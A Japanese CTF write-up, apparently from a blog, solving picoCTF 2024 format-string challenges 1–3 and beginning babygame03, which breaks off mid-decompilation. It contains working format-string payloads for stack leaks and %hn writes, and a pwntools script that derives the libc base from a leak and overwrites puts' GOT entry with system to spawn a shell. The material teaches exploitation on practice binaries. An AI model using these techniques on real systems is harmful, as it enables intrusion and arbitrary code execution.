format-string-1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62bc37ea6fa41f79dc756cc63ece93d8c5499e89, for GNU/Linux 3.2.0, not stripped

$ checksec --file=format-string-1
RELRO          STACK CANARY     NX          PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  No canary found  NX enabled  No PIE  No RPATH  No RUNPATH  41 Symbols  No       0          2            format-string-1

まず実行してみます。うーん、他にファイルが必要なようです。

$ ./format-string-1
'secret-menu-item-1.txt' file not found, aborting.

ソースを読みます。

ファイルが 2つ必要らしいので、適当な文字列を書いたファイルを用意します。用意した 1番目のファイルを読み出して、ローカルの配列変数に設定し、次は、flag.txt を読み出して、ローカルの配列変数に設定します。次に、2番目のファイルを読み出して、ローカルの配列変数に設定します。最後に、ユーザ入力を最大 1024文字受け取って、それを表示して終了です。

最後のユーザが入力した文字列を表示してるところに問題がありそうです。

#include <stdio.h>

int main() {
  char buf[1024];
  char secret1[64];
  char flag[64];
  char secret2[64];

  // Read in first secret menu item
  FILE *fd = fopen("secret-menu-item-1.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-1.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret1, 64, fd);
  // Read in the flag
  fd = fopen("flag.txt", "r");
  if (fd == NULL){
    printf("'flag.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(flag, 64, fd);
  // Read in second secret menu item
  fd = fopen("secret-menu-item-2.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-2.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret2, 64, fd);

  printf("Give me your order and I'll read it back to you:\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your order: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  printf("Bye!\n");
  fflush(stdout);

  return 0;
}

以下に、スタックの状態を整理します。

アドレス サイズ 内容
rbp - -
rbp - 0x410 0x400 buf
rbp - 0x450 0x40 secret1
rbp - 0x490 0x40 flag
rbp - 0x4d0 0x40 secret2

では、簡単に実行してみます。ユーザが入力した文字列を、そのまま出力しています。書式文字列攻撃が出来そうです。

$ ./format-string-1
Give me your order and I'll read it back to you:
AAAA
Here's your order: AAAA
Bye!

では、書式文字列攻撃をしてみます。x86 と違って、x86-64 は、引数にいくつかのレジスタを使い、その後、スタックを使います。よって、結構たくさん %p を使う必要がありそうです。

後ろの方に、AAAABBBB(0x4242424241414141)が出現しました。printf関数の引数として、RDI を使います。以降の RSI、RDX、RCX、R8、R9 が、まず表示されます。その後、スタックポインタが指しているところ(rbp - 0x4d0)から、8byteずつ表示されます。buf は、rbp - 0x410 なので、AAAABBBB が出現するのは、8byte が 24個表示された後になります。この 24個(0x120 / 8 = 24)には、フラグも含まれます。

$ echo -e 'AAAABBBB%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' | ./format-string-1
Give me your order and I'll read it back to you:
Here's your order: AAAABBBB0x402118,(nil),(nil),0x402116,0x7ffff7f9ba80,0x6d2d746572636573,0x6d6574692d756e65,0x7478742e322d,0x3,(nil),0x7ffff7fc3c68,0x9,(nil),0x7b4654436f636970,0x47414c4647414c46,0x7d47414c46,(nil),0x2,0x7ffff7de9147,0x7ffff7fc34e8,0x7ffff7fc3b60,0x6d2d746572636573,0x6d6574692d756e65,0x7478742e312d,0x7ffff7fd4a48,0x2,0x7ffff7fc3b60,0x1,(nil),0x4242424241414141,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70
Bye!

フラグの位置は、8byte が 8個表示された後なので、レジスタの 5個と合わせると、14個目ということになります。14個目からいくつかだけを表示してみます。

フラグがどこまで続いているかというと、3個目は 5byteだけが有効(残り3byteはゼロ)なので、3個分でフラグを表現しているようです。

$ echo -e 'AAAABBBB%14$p,%15$p,%16$p,%17$p' | ./format-string-1
Give me your order and I'll read it back to you:
Here's your order: AAAABBBB0x7b4654436f636970,0x47414c4647414c46,0x7d47414c46,0x7feb6fdb7b60
Bye!

フラグは、0x7b4654436f636970,0x47414c4647414c46,0x7d47414c46, です。

あとは、Python で表示するだけです。

$ python -c 'import struct; print(struct.pack("<QQQ",0x7b4654436f636970,0x47414c4647414c4
6,0x7d47414c46))'
b'picoCTF{FLAGFLAGFLAG}\x00\x00\x00'

サーバでも、同じようにするとフラグが読めました。

format string 2(200ポイント)

Medium の問題です。バイナリファイル(vuln)が 1つと、ソースファイル(vuln.c)が 1つダウンロードできます。また、インスタンス(サーバ)を起動できます。ファイル名が突然変わりました。

format string 2問題
format string 2問題

これまでのソースコードと異なるので、普通にやっていきます。表層解析です。メモリ実行が禁止で、プログラムのアドレスのランダム化は無効です。

$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dfe923d97df1df729249ff21202d10ad15d45f4c, for GNU/Linux 3.2.0, not stripped

$ checksec --file=vuln
RELRO          STACK CANARY     NX          PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  No canary found  NX enabled  No PIE  No RPATH  No RUNPATH  42 Symbols  No       0          2            vuln

ソースコードを見てみます。

「format string 1」とちょっと似てます。これは、おそらく、書式文字列攻撃で書き込むやつですね。

#include <stdio.h>

int sus = 0x21737573;

int main() {
  char buf[1024];
  char flag[64];

  printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your input: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  if (sus == 0x67616c66) {
    printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");

    // Read in the flag
    FILE *fd = fopen("flag.txt", "r");
    fgets(flag, 64, fd);

    printf("%s", flag);
    fflush(stdout);
  }
  else {
    printf("sus = 0x%x\n", sus);
    printf("You can do better!\n");
    fflush(stdout);
  }

  return 0;
}

グローバル変数の sus のアドレスを求めます。

$ nm vuln | grep sus
0000000000404060 D sus

buf の位置を確認するために、たくさん %p を入れます。

14個目が buf でした。レジスタが 5個分と、flag の領域が 64byte なので、8個分あるためです。

$ ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
AAAABBBB%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Here's your input: AAAABBBB0x402075,(nil),(nil),0x402073,0x7fb70aae3a80,0x2,0x7fb70ab0bb60,0x1,(nil),0x1,0x7fb70ab0b160,0x7fff64eab9b8,0x7fff64eab9c0,0x4242424241414141,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x70252c,0x7fb70ab0b160,0xd,0x7fb70aae3198,0x7fff64eabeb8,0x403e18,0x7fb70ab3f020,0x7fb70ab1cebe,0x1
sus = 0x21737573
You can do better!

AAAABBBB のところを、sus のアドレスに変えてみます。AAAABBBB から sus のアドレスに変えても期待通りに表示されるかを確認してみます。

思った通りにはいきませんでした。途中でゼロが入るため、printf関数は、文字列として、先頭の3byteだけを認識したようです。

$ echo -e '\x60\x40\x40\x00\x00\x00\x00\x00%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: `@@
sus = 0x21737573
You can do better!

困りました。セキュリティコンテストチャレンジブックにも、ゼロが入った場合の説明はありません。うーん、では、ゼロを含むアドレスは、15番目にして、14番目は、15番目を表示する内容にすればいいかもです。つまり、%p と アドレスの指定を入れ替えるということです。

期待通りの表示が出力されました。

$ echo -e '%15$pAAA\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: 0x404060AAA`@@
sus = 0x21737573
You can do better!

%p%s に変更して、アドレスの先の値を見に行きます。

値なので、hexdumpコマンドで見ます。00000070 の行の後ろの方に、20(スペース)の次からが、%15s の出力です。73 75 73 21(0x21737573)が参照できています。

$ echo -e '%15$sAAA\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: sus!AAA`@@
sus = 0x21737573
You can do better!

$ echo -e '%15$sAAA\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln | hexdump -C
00000000  59 6f 75 20 64 6f 6e 27  74 20 68 61 76 65 20 77  |You don't have w|
00000010  68 61 74 20 69 74 20 74  61 6b 65 73 2e 20 4f 6e  |hat it takes. On|
00000020  6c 79 20 61 20 74 72 75  65 20 77 69 7a 61 72 64  |ly a true wizard|
00000030  20 63 6f 75 6c 64 20 63  68 61 6e 67 65 20 6d 79  | could change my|
00000040  20 73 75 73 70 69 63 69  6f 6e 73 2e 20 57 68 61  | suspicions. Wha|
00000050  74 20 64 6f 20 79 6f 75  20 68 61 76 65 20 74 6f  |t do you have to|
00000060  20 73 61 79 3f 0a 48 65  72 65 27 73 20 79 6f 75  | say?.Here's you|
00000070  72 20 69 6e 70 75 74 3a  20 73 75 73 21 41 41 41  |r input: sus!AAA|
00000080  60 40 40 0a 73 75 73 20  3d 20 30 78 32 31 37 33  |`@@.sus = 0x2173|
00000090  37 35 37 33 0a 59 6f 75  20 63 61 6e 20 64 6f 20  |7573.You can do |
000000a0  62 65 74 74 65 72 21 0a                           |better!.|
000000a8

%s%n に変えて、グローバル変数 sus の値を書き換えます。

期待通りの書き換えが出来ました。先頭に %15$n を置いたときは、それまでに出力した数がゼロなので、sus はゼロに書き換わりました。最初に 3文字の A を置くと、sus は 3 に書き換わりました。

$ echo -e '%15$nAAA\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: AAA`@@
sus = 0x0
You can do better!

$ echo -e 'AAA%15$n\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: AAA`@@
sus = 0x3
You can do better!

あとは、この値を 0x67616c66 に書き換えればいい、ということになります。値が大きいので、2回に分けます。値の大きい方から先に書き換えます(文字数のカウントは継続するため)。最初に、上位16bitを 0x6761(26,465)に書き換えます。次に、sus の下位16bitを 0x6c66(27,750)に書き換えます。差は、27750-26465=1285 です。

アドレスに 0 を含むため、先に書式を書く必要があります。後ろには 0 を含みますが、表示してほしいのは前半の AAAA の前までなので、問題ありません。

無事、フラグが表示されました。

$ echo -e '%26465c%18$hn%1285c%19$hnAAAAAAA\x62\x40\x40\x00\x00\x00\x00\x00\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input:
(途中、省略)
AAAAAAAb@@
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{FLAGFLAGFLAG}

同じことをサーバで実行すると、フラグが表示されました。

format string 3(300ポイント)

format stringシリーズの最後の問題です。

Medium の問題です。バイナリファイル(format-string-3)が 1つと、ソースファイル(format-string-3.c)が 1つと、libc(libc.so.6)と、動的リンカ(ld-linux-x86-64.so.2)がダウンロードできます。また、インスタンス(サーバ)を起動できます。

format string 3問題
format string 3問題

表層解析から行います。スタックカナリヤが有効で、メモリ実行可能です。追加で lddコマンドを実行しました。ダウンロードした libc と ld-linux が使われるようです(libc はいいですが、ld-linux は表示が少しおかしい?)。

$ file format-string-3
format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped

$ checksec --file=format-string-3
RELRO          STACK CANARY  NX           PIE    RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  Canary found  NX disabled  No PIE No RPATH  RW-RUNPATH  44 Symbols  No       0          2            format-string-3

$ ldd format-string-3
    linux-vdso.so.1 (0x00007ffea8767000)
    libc.so.6 => ./libc.so.6 (0x00007fbb84dec000)
    ./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fbb84fd0000)

ソースコードを見てみます。フラグの表示がありませんね。シェルを取得する問題だと思います。書式文字列攻撃で、最後の puts関数を system関数に置き換えることが出来れば良さそうですね、puts関数の引数が /bin/sh にしてくれてますし。

#include <stdio.h>

#define MAX_STRINGS 32

char *normal_string = "/bin/sh";

void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void hello() {
    puts("Howdy gamers!");
    printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}

int main() {
    char *all_strings[MAX_STRINGS] = {NULL};
    char buf[1024] = {'\0'};

    setup();
    hello(); 

    fgets(buf, 1024, stdin);   
    printf(buf);

    puts(normal_string);

    return 0;
}

puts関数のアドレスを知る必要がありますが、ASLR のため、事前には得られません。setvbuf関数のアドレスも毎回変化しますが、アドレスを表示してくれているので、これを使うと相対的に system関数のアドレスが求まりそうです。

一度実行してみます。

$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7fbe141303f0
aa
aa
/bin/sh

まず、アドレスを調べます。setbuf関数の libc内の相対アドレスは 0x7a3f0 で、system関数の libc内の相対アドレスは 0x4f760 です。setbuf関数の絶対アドレスが表示されるので、setbuf関数の相対アドレスを引くと、libcのベースアドレスが求まります。system関数の相対アドレスを足すと、system関数の絶対アドレスが求まります。

$ nm -D libc.so.6 | grep setvbuf
000000000007a3f0 T _IO_setvbuf@@GLIBC_2.2.5
000000000007a3f0 W setvbuf@@GLIBC_2.2.5

$ nm -D libc.so.6 | grep system
000000000004f760 T __libc_system@@GLIBC_PRIVATE
000000000014e1c0 T svcerr_systemerr@GLIBC_2.2.5
000000000004f760 W system@@GLIBC_2.2.5

GDB でアセンブラを確認します。

RSP + 0x100(rbp - 0x410)のアドレスを buf に使っているようです。つまり、レジスタ 5個 と 8byte が 32個(0x100 / 8 = 32)で、計37個なので、38番目に buf が出現するはずです。

pwndbg> nearpc 200x40124b <main+8>      sub    rsp, 0x510                     RSP => 0x7fffffffe120 - 0x510
   0x401252 <main+15>     mov    rax, qword ptr fs:[0x28]       RAX, [0x7ffff7ddd768]
   0x40125b <main+24>     mov    qword ptr [rbp - 8], rax
   0x40125f <main+28>     xor    eax, eax                       EAX => 0
   0x401261 <main+30>     lea    rdx, [rbp - 0x510]
   0x401268 <main+37>     mov    eax, 0                         EAX => 0
   0x40126d <main+42>     mov    ecx, 0x20                      ECX => 0x20
   0x401272 <main+47>     mov    rdi, rdx
   0x401275 <main+50>     rep stosq qword ptr [rdi], rax
   0x401278 <main+53>     mov    qword ptr [rbp - 0x410], 0
   0x401283 <main+64>     mov    qword ptr [rbp - 0x408], 0
   0x40128e <main+75>     lea    rdx, [rbp - 0x400]
   0x401295 <main+82>     mov    eax, 0                         EAX => 0
   0x40129a <main+87>     mov    ecx, 0x7e                      ECX => 0x7e
   0x40129f <main+92>     mov    rdi, rdx
   0x4012a2 <main+95>     rep stosq qword ptr [rdi], rax
   0x4012a5 <main+98>     mov    eax, 0                         EAX => 0
   0x4012aa <main+103>    call   setup                       <setup>

   0x4012af <main+108>    mov    eax, 0                      EAX => 0
   0x4012b4 <main+113>    call   hello                       <hello>

   0x4012b9 <main+118>    mov    rdx, qword ptr [rip + 0x2db0]     RDX, [stdin@GLIBC_2.2.5]
   0x4012c0 <main+125>    lea    rax, [rbp - 0x410]
   0x4012c7 <main+132>    mov    esi, 0x400                        ESI => 0x400
   0x4012cc <main+137>    mov    rdi, rax
   0x4012cf <main+140>    call   fgets@plt                   <fgets@plt>
(以降、割愛)

やってみます。合っているようです。

$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f6baf1d03f0
AAAABBBB,%38$p
AAAABBBB,0x4242424241414141
/bin/sh

あとは、puts関数の GOT を調べます。0x404018 でした。

$ readelf -r format-string-3

Relocation section '.rela.dyn' at offset 0x15d8 contains 6 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000403fe8  000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
000000403ff0  000600000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000403ff8  000800000006 R_X86_64_GLOB_DAT 0000000000000000 setvbuf@GLIBC_2.2.5 + 0
000000404060  000700000005 R_X86_64_COPY     0000000000404060 stdout@GLIBC_2.2.5 + 0
000000404070  000900000005 R_X86_64_COPY     0000000000404070 stdin@GLIBC_2.2.5 + 0
000000404080  000a00000005 R_X86_64_COPY     0000000000404080 stderr@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x1668 contains 4 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000404018  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000404020  000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000404028  000400000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000404030  000500000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0

pwndbg の場合は、gotコマンドが使えます。楽ちんです。

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/user/svn/experiment/picoCTF/picoCTF2024_BinaryExploitation/format-string-3:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x401030 ◂— endbr64
[0x404020] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64
[0x404028] printf@GLIBC_2.2.5 -> 0x401050 ◂— endbr64
[0x404030] fgets@GLIBC_2.2.5 -> 0x401060 ◂— endbr64

情報は揃ったので、pwntools を使って実装していきます。

pwntools には、fmtstr_payload という書式文字列攻撃を自動化する便利な関数が用意されているそうです。今回はこれを使ってみます。ちょっと練習してみます。

まず、練習として、グローバル変数の normal_string を書き換えてみます。アドレスを調べます。

$ nm format-string-3 | grep normal_st
0000000000404048 D normal_string

gdb-peda$ x/1xg 0x404048
0x404048 <normal_string>:       0x0000000000402008
gdb-peda$ x/1s 0x402008
0x402008:       "/bin/sh"
  • 第1引数 offset:オフセット、今回は 38 です
  • 第2引数 writes:書き込み先のアドレスと値の辞書、今回は、0x402008 に、例えば、0x47414c46(FLAG)を書きたいので、{0x402008: 0x47414c46} にします
  • 第3引数 numbwritten:printf関数が既に出力したバイト数、今回は 0 です
  • 第4引数 write_size:何byteずつ書き込むか(int or short or byte)、大きくなりそうなので short にします。

まず、x86-64 を設定します。作られたペイロードを見ると、下位16bit(0x4c46)の方が、上位16bit(0x4741)より大きいので、先に、上位16bitから指定しています。

>>> context.binary = '/bin/bash'
[*] '/bin/bash'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
>>> context.arch, context.bits
('amd64', 64)
>>> fmtstr_payload(offset=38, writes={0x402008: 0x47414c46}, numbwritten=0, write_size="short"
)
b'%19526c%42$lln%64251c%43$hnaaaab\x08 @\x00\x00\x00\x00\x00\n @\x00\x00\x00\x00\x00'
>>> fmtstr_payload(offset=38, writes={0x402008: 0x47414c46}, numbwritten=0, write_size="short").hex()
'25313935323663253432246c6c6e2536343235316325343324686e616161616208204000000000000a20400000000000'

では、試してみます。うーん、セグメンテーションフォールトが発生します。

$ python -c 'from pwn import *; context.bits=64; print(fmtstr_payload(offset=38, writes={0x402008: 0x47414c46}, numbwritten=0, write_size="short").decode("utf-8"))' | ./format-string-3
(途中、省略)
Segmentation fault

「format string 2」で試してみます。うまくいきますね。

$ python -c 'from pwn import *; context.bits=64; print(fmtstr_payload(offset=14, writes={0x404060: 0x67616c66}, numbwritten=0, write_size="short").decode("utf-8"))' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input:                                                                            
(途中、省略)
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{FLAGFLAGFLAG}

あ、分かりました、間違えてました。0x402008 は、normal_string に格納されているアドレスであり、"/bin/sh" が格納されているアドレスなので、そこを書き換えるということは、const領域を書き換えることになるからですね。それは Read Only なはずなので無理でした。では、代わりに、normal_string に格納されているアドレスを書き換えるようにします。0x402008 が格納されているので、それを 2byte ずらして、0x40200a に書き換えます。

"/b" が消えて、2byte進んだところから表示されました、想定通りです。

$ python -c 'from pwn import *; context.bits=64; print(fmtstr_payload(offset=38, writes={
0x404048: 0x40200a}, numbwritten=0, write_size="short").decode("utf-8"))' | ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f7af9fa73f0
(途中、省略)
in/sh

何個あるかとか数えなくていいので便利ですね。実装した Pythonスクリプトは以下です。

import os, sys
from pwn import *

# $ socat tcp-listen:4000,reuseaddr,fork, EXEC:"./format-string-3"
# $ python tmp.py

context.bits = 64

adrs = '127.0.0.1'
#adrs = 'rhea.picoctf.net'
port = 4000
#port = 65028

setbuf_raddr = 0x7a3f0
system_raddr = 0x4f760
puts_got = 0x404018

proc = remote( adrs, port )

print( proc.recvline() ) # Howdy gamers!
ret = proc.recvline()    # Okay I'll be nice. Here's the address of setvbuf in libc:
print( ret )

ret = ret.decode( 'utf-8' )

assert "setvbuf" in ret, f"ret={ret}"

idx = ret.index("libc")
setbuf_aaddr = int( ret[idx + 6:], base=16 )
print( f"setbuf_aaddr={setbuf_aaddr}" )

libc_base    = setbuf_aaddr - setbuf_raddr
system_aaddr = libc_base + system_raddr

payload = fmtstr_payload( offset=38, writes={puts_got: system_aaddr}, numbwritten=0, write_size="short" )

proc.send( payload )

proc.interactive()

実行します。

$ python tmp.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
b'Howdy gamers!\n'
b"Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f504fe933f0\n"
setbuf_aaddr=139982914794480
[*] Switching to interactive mode
$ ls
(途中、省略)
atk.bin
flag.txt
format-string-0
format-string-0.c
format-string-1
format-string-1.c
format-string-3
format-string-3.c
heap0
heap1
heap2
heap3
ld-linux-x86-64.so.2
libc.so.6
peda-session-chall.txt
peda-session-format-string-1.txt
peda-session-format-string-3.txt
peda-session-vuln.txt
pwnable.log
pwnable.py
secret-menu-item-1.txt
secret-menu-item-2.txt
tmp.py
vuln
vuln.c

シェルが取れました。サーバでも同じようにすると、カレントディレクトリに flag.txt があり、cat すると、フラグが表示されました。

format stringシリーズを完了しました。

babygame03(400ポイント)

ついに、Hard の問題です。バイナリファイル(game)が 1つだけダウンロードできます。また、インスタンス(サーバ)を起動できます。今回はソースコードを提供してくれないようです。

babygame03問題
babygame03問題

表層解析です。シンボルは残っています。32bitプログラムで、メモリ実行不可で、プログラムのアドレスランダム化は無効です。

$ file game 
game: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=a029dc18edaa968bc97e9c92c73151ae8155edaf, for GNU/Linux 3.2.0, not stripped

$ checksec --file=game
RELRO          STACK CANARY     NX          PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  No canary found  NX enabled  No PIE  No RPATH  No RUNPATH  60 Symbols  No       0          2            game

Ghidra で逆コンパイルします。main関数と win関数は以下です。変数名は分かりやすい名前に変えています。

win関数に行くには、do while を抜ける必要があります。その条件は、tate が 0x1d、かつ、yoko が 0x59、かつ、level が 5、かつ、local_14 が 4 となることのようです。

2段階あるようで、1段階目を突破するには、tate が 0x1d、かつ、yoko が 0x59、かつ、level が 4 ではない、となることが必要のようです。

undefined4 main(void)
{
  int iVar1;
  int level;
  int tate;
  int yoko;
  undefined map [2700];
  char input;
  int local_14;
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  init_player(&tate);
  level = 1;
  local_14 = 0;
  init_map(map,&tate,&level);
  print_map(map,&tate,&level);
  signal(2,sigint_handler);
  do {
    iVar1 = getchar();
    input = (char)iVar1;
    move_player(&tate,(int)input,map,&level);
    print_map(map,&tate,&level);
    if (((tate == 0x1d) && (yoko == 0x59)) && (level != 4)) {
      puts("You win!\n Next level starting ");
      local_14 = local_14 + 1;
      level = level + 1;
      init_player(&tate);
      init_map(map,&tate,&level);
    }
  } while (((tate != 0x1d) || (yoko != 0x59)) || ((level != 5 || (local_14 != 4))));
  win(&level);
  return 0;
}

void win(int *level)
{
  char local_4c [60];
  FILE *local_10;
  
  local_10 = fopen("flag.txt","r");
  if (local_10 == (FILE *)0x0) {
    puts("Please create \'flag.txt\' in this directory with your own debugging flag.");
    fflush(_stdout);
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(local_4c,0x3c,local_10);
  if (*level == 5) {
    printf(local_4c);
    fflush(_stdout);
  }
  return;
}

続いて、init_player関数、init_map関数、print_map関数、move_player関数です。

void init_player(undefined4 *player)
{
  *player = 4;
  player[1] = 4;
  player[2] = 0x32;
  return;
}

void init_map(int map,int *player,int *level)
{
  int iVar1;
  int local_14;
  int local_10;
  
  local_10 = 0;
  do {
    if (0x1d < local_10) {
      return;
    }
    for (local_14 = 0; local_14 < 0x5a; local_14 = local_14 + 1) {
      if ((local_10 == 0x1d) && (local_14 == 0x59)) {
        *(undefined *)(map + 0xa8b) = 0x58;
      }
      else if ((local_10 == *player) && (local_14 == player[1])) {
        *(undefined *)(local_14 + map + local_10 * 0x5a) = player_tile;
      }
      else {
        iVar1 = rand();
        if (local_10 == iVar1 % *level) {
          iVar1 = rand();
          if (local_14 == iVar1 % *level) {
            *(undefined *)(local_14 + map + local_10 * 0x5a) = 0x23;
            goto LAB_08049301;
          }
        }
        *(undefined *)(local_14 + map + local_10 * 0x5a) = 0x2e;
      }
LAB_08049301:
    }
    local_10 = local_10 + 1;
  } while( true );
}

void print_map(int map,undefined4 player,undefined4 level)
{
  int local_14;
  int local_10;
  
  clear_screen();
  find_player_pos(map,level);
  find_end_tile_pos(map);
  print_lives_left(player);
  for (local_10 = 0; local_10 < 0x1e; local_10 = local_10 + 1) {
    for (local_14 = 0; local_14 < 0x5a; local_14 = local_14 + 1) {
      putchar((int)*(char *)(local_14 + map + local_10 * 0x5a));
    }
    putchar(10);
  }
  fflush(_stdout);
  return;
}

void move_player(int *player,char input,int map,undefined4 level)
{
  int iVar1;
  
  if (player[2] < 1) {
    puts("No more lives left. Game over!");
    fflush(_stdout);
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (input == 'l') {
    iVar1 = getchar();
    player_tile = (undefined)iVar1;
  }
  if (input == 'p') {
    solve_round(map,player,level);
  }
  *(undefined *)(*player * 0x5a + map + player[1]) = 0x2e;
  if (input == 'w') {
    *player = *player + -1;
  }
  else if (input == 's') {
    *player = *player + 1;
  }
  else if (input == 'a') {
    player[1] = player[1] + -1;
  }
  else if (input == 'd') {
    player[1] = player[1] + 1;
  }
  if (*(char *)(*player * 0x5a + map + player[1]) == '#') {
    puts("You hit an obstacle!");
    fflush(_stdout);
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  *(undefined *)(*player * 0x5a + map + player[1]) = player_tile;
  player[2] = player[2] + -1;
  return;
}

実際に動かしてみます。wasd を押してみます。w、s、a、dキーでプレーヤを移動させるみたいですね。w が↑、sが↓、aが←、dが→ のようです。

このマップは、横に 90マス、縦に 30マスあるようです。座標は、左上が(0, 0)で、右下に向かって増えていきます。init_player関数で、プレーヤの位置(4, 4)と、ライフ(50)が初期化されます。

# がゴールなのか、X がゴールなのか。# を目指してみます。# に当たると、You hit an obstacle! と言われて終了しました。

X を目指してみると、途中で、No more lives left. Game over! と言われました。動ける量に限りがあるようです。

1段階目の条件は、X にたどりつくことのようです。

あと、lキーと、pキーが使えるようですが、lキーは、プレーヤ位置の @ マークを変更できるだけのように見えます。pキーは、solve_round関数が処理されます。自動で動作する関数のようです。

まともに操作しても、X にたどりつくのは難しいですね。solve_round関数が気になります。

$ ./game
Player position: 4 4
Level: 1
End tile position: 29 89
Lives left: 50
#.........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
....@.....................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
.........................................................................................X

solve_round関数です。ついでに、find_player_pos関数、find_end_tile_pos関数、print_lives_left関数、clear_screen関数です。いくつか判明した変数は名前を変更しています。solve_round関数は、自動で操作してくれる関数でしょうか。

int solve_round(undefined4 map,int *player,undefined4 level)
{
  int iVar1;
  
  while (player[1] != 0x59) {
    if (player[1] < 0x59) {
